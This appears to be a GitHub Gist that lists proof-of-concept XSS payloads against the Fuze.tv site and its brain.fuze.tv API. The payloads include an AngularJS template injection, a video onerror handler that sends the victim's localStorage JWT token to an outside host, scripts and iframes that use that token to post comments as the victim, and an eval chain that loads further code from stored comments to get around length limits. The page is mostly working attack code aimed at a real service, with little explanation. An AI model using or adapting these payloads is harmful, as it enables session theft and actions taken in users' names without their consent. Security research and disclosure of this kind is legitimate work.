Last active
March 10, 2022 12:04
-
-
Save lutwidse/d4fff3b428d01c373822d473fac8c72b to your computer and use it in GitHub Desktop.
Fuze.tv Vulnerability PoCs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
- XSS AngularJS | |
{{constructor.constructor('alert(1)')()}} | |
- XSS steal token | |
<video><source onerror=location=/\google.com/+localStorage.getItem("jwt_token")> | |
- XSS that cause user to interact with API | |
<script>const scheme = ["ht","tp","s"]; const payload = {"message":"Hello there","parentId":"0","attachedVideoEntryId":null};const param = {method: "POST", headers: {'Authorization': localStorage.getItem("jwt_token"), 'Accept': "application/json, text/plain, */*", 'Content-Type': "application/json;charset=UTF-8"}, body: JSON.stringify(payload)};fetch(scheme.join('')+"://brain.fuze.tv/api/feed/comment/1/60fac75b38e93f0019fc24d6", param).then((res)=>{return(res.json());}).then((json)=>{alert("executed")})</script> | |
<iframe srcdoc=<script>const scheme = ["ht","tp","s"]; const payload = {"message":"Hello there","parentId":"0","attachedVideoEntryId":null};const param = {method: "POST", headers: {'Authorization': localStorage.getItem("jwt_token"), 'Accept': "application/json, text/plain, */*", 'Content-Type': "application/json;charset=UTF-8"}, body: JSON.stringify(payload)};fetch(scheme.join('')+"://brain.fuze.tv/api/feed/comment/1/60fac75b38e93f0019fc24d6", param).then((res)=>{return(res.json());}).then((json)=>{alert("executed")})</script>></iframe> | |
- XSS payload from comments and Bypass text length limitation | |
<script>const payloadScheme = ["ht","tp","s"]; fetch(payloadScheme.join('')+'://brain.fuze.tv/public/feed/comments/60fac75b38e93f0019fc24d6/0/2/cached.js').then(response => response.json()).then(json => {payload = json["comments"].slice(-1)[0]["message"].replace(/>/g, ">"); payloadSecond = json["comments"].slice(-2)[0]["message"].replace(/>/g, ">"); eval(payload); alert(payloadSecond);});</script> | |
<iframe srcdoc=<script>const payloadScheme = ["ht","tp","s"]; fetch(payloadScheme.join('')+'://brain.fuze.tv/public/feed/comments/60fac75b38e93f0019fc24d6/0/2/cached.js').then(response => response.json()).then(json => {payload = json["comments"].slice(-1)[0]["message"].replace(/&gt;/g, ">"); payloadSecond = json["comments"].slice(-2)[0]["message"].replace(/&gt;/g, ">"); eval(payload+")"); alert(payloadSecond);});</script>></iframe> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
PoCs Video